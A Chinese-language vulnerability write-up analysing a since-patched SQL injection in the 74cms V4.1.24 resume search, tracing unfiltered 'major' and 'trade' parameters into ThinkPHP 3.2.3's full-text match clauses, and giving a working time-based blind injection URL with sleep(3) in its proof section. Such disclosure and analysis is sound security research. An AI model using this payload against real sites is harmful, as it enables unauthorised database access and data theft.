2017年8月

74cmsV4.2.3和V4.2.26一处已修复的SQL注入

0x01 准备

最新的两个版本V4.2.3和V4.2.26已经修复,测试版本为V4.1.24

0x02 具体分析

SQL注入在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Home\Controller\ResumeController.class.php中的resume_list函数,

public function resume_list(){
    if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
        redirect(build_mobile_url(array('c'=>'Resume','a'=>'index')));
    }
    $citycategory = I('get.citycategory','','trim');
    $where = array(
        '类型' => 'QS_citycategory',
        '地区分类' => (C('SUBSITE_VAL.s_id') > 0 && !$citycategory) ? C('SUBSITE_VAL.s_district') : $citycategory
    );
    $classify = new \Common\qscmstag\classifyTag($where);
    $city = $classify->run();
    $jobcategory = I('get.jobcategory','','trim');
    $where = array(
        '类型' => 'QS_jobcategory',
        '职位分类' => $jobcategory
    );
    $classify = new \Common\qscmstag\classifyTag($where);
    $jobs = $classify->run();
    $seo = array('jobcategory'=>$jobs['select']['categoryname'],'citycategory'=>$city['select']['categoryname'],'key'=>I('request.key'));
    $page_seo = D('Page')->get_page();
    $this->_config_seo($page_seo[strtolower(MODULE_NAME).'_'.strtolower(CONTROLLER_NAME).'_'.strtolower(ACTION_NAME)],$seo);
    $this->display();
}

其中第41行会调用display函数,进行页面显示,在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Home\View\default\Resume\resume_list.html中,其中第364行

<qscms:resume_list 列表名="resumelist" 搜索类型="$_GET['search_type']" 显示数目="15" 分页显示="1" 关键字="$_GET['key']" 职位分类="$_GET['jobcategory']" 地区分类="$_GET['citycategory']" 日期范围="$_GET['settr']" 学历="$_GET['education']" 工作经验="$_GET['experience']" 工资="$_GET['wage']" 工作性质="$_GET['nature']" 标签="$_GET['resumetag']" 手机认证="$_GET['mobile_audit']" 照片="$_GET['photo']" 所学专业="$_GET['major']" 行业="$_GET['trade']" 年龄="$_GET['age']" 性别="$_GET['sex']" 特长描述长度="100" 排序="$_GET['sort']"/>

会调用74cms自写的标签qscms的resume_list的tag,该类在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Common\qscmstag\resume_listTag.class.php中,其中类的初始化函数为

public function __construct($options) {
    foreach ($options as $key => $val) {
        $this->params[$this->enum[$key]] = $val;
    }
    if($sort = trim($this->params['displayorder'])){
        $sort = explode('>',$sort);
        if(!$order = $this->order_array[$sort[0]]) $order = $this->default_order;
        if($sort[1]=='desc'){
            $sort[1]="desc";
        }elseif($sort[1]=="asc"){
            $sort[1]="asc";
        }else{
            $sort[1]="desc";
        }
        $this->order = str_replace('%s',$sort[1],$order);
    }else{
        $this->order = $this->default_order;
    }
    $map = array();
    if(C('SUBSITE_VAL.s_id') > 0 && !$this->params['citycategory']){
        $this->params['citycategory'] = C('SUBSITE_VAL.s_district');
    }
    //省市,职位,行业,标签,专业
    foreach(array(1=>'citycategory',2=>'jobcategory',3=>'trade',4=>'tag',5=>'major',6=>'age') as $v) {
        $name = '_where_'.$v;
        if(false !== $w = $this->$name(trim($this->params[$v])))  $map[] = $w;
    }
    //性别,是否照片简历,简历等级,简历更新时间
    foreach(array('sex'=>'sex','photo'=>'photo','talent'=>'talent','mob'=>'mobile_audit','nat'=>'nature','exp'=>'experience','wage'=>'wage') as $key=>$val) {
        if($d =  intval($this->params[$val])) $map[] = '+'.$key.$d;
    }
    if(C('qscms_resume_display') == 1){
        $map[] = '+audit1';
    }else{
        $map[] = '+(audit1 audit2)';
    }
    if($education = intval($this->params['education'])){
        $category = D('Category')->get_category_cache();
        $w = '';
        foreach ($category['QS_education'] as $key => $val) {
            if($key >= $education) $w[] = 'edu'.$key;
        }
        if($w){
            $map[] = '+('.implode(' ',$w).')';

会将html页面qscms的标签中获取的$_GET参数,也即是$options参数,在第64行进行赋值给$this->params。
然后在第86行,

foreach(array(1=>'citycategory',2=>'jobcategory',3=>'trade',4=>'tag',5=>'major',6=>'age') as $v) {
        $name = '_where_'.$v;
        if(false !== $w = $this->$name(trim($this->params[$v])))  $map[] = $w;
    }

如果$v是major,那么$name就是_where_major,第88行的$this->$name()会调用_where_major函数,参数为$this->params[$v],也即是$this->params[major],也即是$_GET[‘major’],完全可以控制。之后赋给$map[]数组。_where_major函数在C:\phpStudy\WWW\74cms_v4.1.24\upload\Application\Common\qscmstag\resume_listTag.class.php中,

protected function _where_major($data){
    if($data){
        if (strpos($data,',')){
            $arr = explode(',',$data);
            $arr=array_unique($arr);
            $arr = array_slice($arr,0,10);
            $sqlin = implode(' major',$arr);
            return '+(major'.$sqlin.')';
        }else{
            return '+major'.intval($data);
        }
    }
    return false;
}

可以看到参数$data,即是$_GET[‘major’],如果含有逗号,就是避开intval函数,从而只是经过各种常规处理,无过滤。

回到__construct函数的第147行

if($map) $this->where['key'] = array('match_mode',$map);

可以看到将数组map赋给了$this->where[‘key’],是一个二维数组。加载一下payload输出看一下该数组为
QQ图片20170817173914.png
经过_construct函数后,标签会调用run函数。其中会调用第166行

$model->Table($db_pre.$this->mod.' r')->where($this->where)->join($this->join)->count('id')

这就涉及到74cmsV4.1.24用到的thinkphp3.2.3的一处小漏洞,对比了一下74cms最新的两个版本中的thinkphp框架,发现都没有该漏洞,不知道是74改了thinkphp的代码,还是thinkphp的版本变化
跟thinkphp框架的过程太多,这里省略过程,直接看其中最重要的parseWhereItem函数,

 // where子单元分析
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
            $exp    =    strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt|is|is not)$/',$exp)) { // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                if(is_array($val[1])) {
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR'))){
                        $like       =   array();
                        foreach ($val[1] as $item){
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        }
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    }
                }else{
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }
            }elseif('bind' == $exp ){ // 使用表达式
                $whereStr .= $key.' = :'.$val[1];
            }elseif('exp' == $exp ){ // 使用表达式
                $whereStr .= $key.' '.$val[1];
            }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                if(isset($val[2]) && 'exp'==$val[2]) {
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                }else{
                    if(is_string($val[1])) {
                         $val[1] =  explode(',',$val[1]);
                    }
                    $zone      =   implode(',',$this->parseValue($val[1]));
                    $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                }
            }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
            }elseif(preg_match('/^(match)$/',$val[0])){//全文搜索
                //关键字补0 
                $val[1] = array_map("fulltextpad",$val[1]);
                // IN BOOLEAN MODE
                $str = implode(' ', $val[1]);
                $whereStr .=  'MATCH ('.$key.') AGAINST ("'.$str.'")';
            }elseif(preg_match('/^(match_mode)$/',$val[0])){//全文搜索
                //关键字补0 
                $val[1] = array_map("fulltextpad",$val[1]);
                // IN BOOLEAN MODE
                $str = implode(' ', $val[1]);
                $whereStr .=  'MATCH ('.$key.') AGAINST ("'.$str.'" IN BOOLEAN MODE)';
            }elseif(preg_match('/^(match_with)$/',$val[0])){//全文搜索
                //关键字补0 
                $val[1] = array_map("fulltextpad",$val[1]);
                $str = implode(' ', $val[1]);
                $whereStr .=  'MATCH ('.$key.') AGAINST ("'.$str.'" WITH QUERY EXPANSION)';
            }else{
                E(L('_EXPRESS_ERROR_').':'.$val[0]);
            }
        }else {

其中第590行elseif(preg_match('/^(match_mode)$/',$val[0])){如果匹配到match_mode字符串,就进行第592行中,用fulltextpad函数处理$val[0],然后拼接到$whereStr中。全程无过滤。不止这个elseif有这问题,关于match的三个elseif都无过滤,不像其他elseif中用parseValue函数里有过滤。
正好之前我们的this->where中就有match _mode,导致二维数组中的数据不经过过滤,最终执行SQL语句,可以注入。

0x03 证明

直接访问

http://localhost/74cms_v4.1.24/upload/index.php?m=&c=resume&a=resume_list&major=72,and%201=1)%22)and(select%201%20from(select%20sleep(3))a)--%20-

页面延时3s,证明可以看下图
QQ图片20170817174828.png
QQ图片20170817174859.png
可以直接注入,不仅参数major可以注入,参数trade也可注入

0x04 修复

V4.2.3已intval,V4.2.26已intval,已对双引号编码(貌似是thinkphp在发挥作用,但是我没跟到具体的代码)

0x05 谁的锅

如果是该版本的thinkphp框架的问题,只有当程序用到有match、match_mode、match_with的二维数组才会产生漏洞,这种概率小,不知道算不算漏洞,但是74cms用到了,但是只要intval一下就可以了,所以是谁的锅呢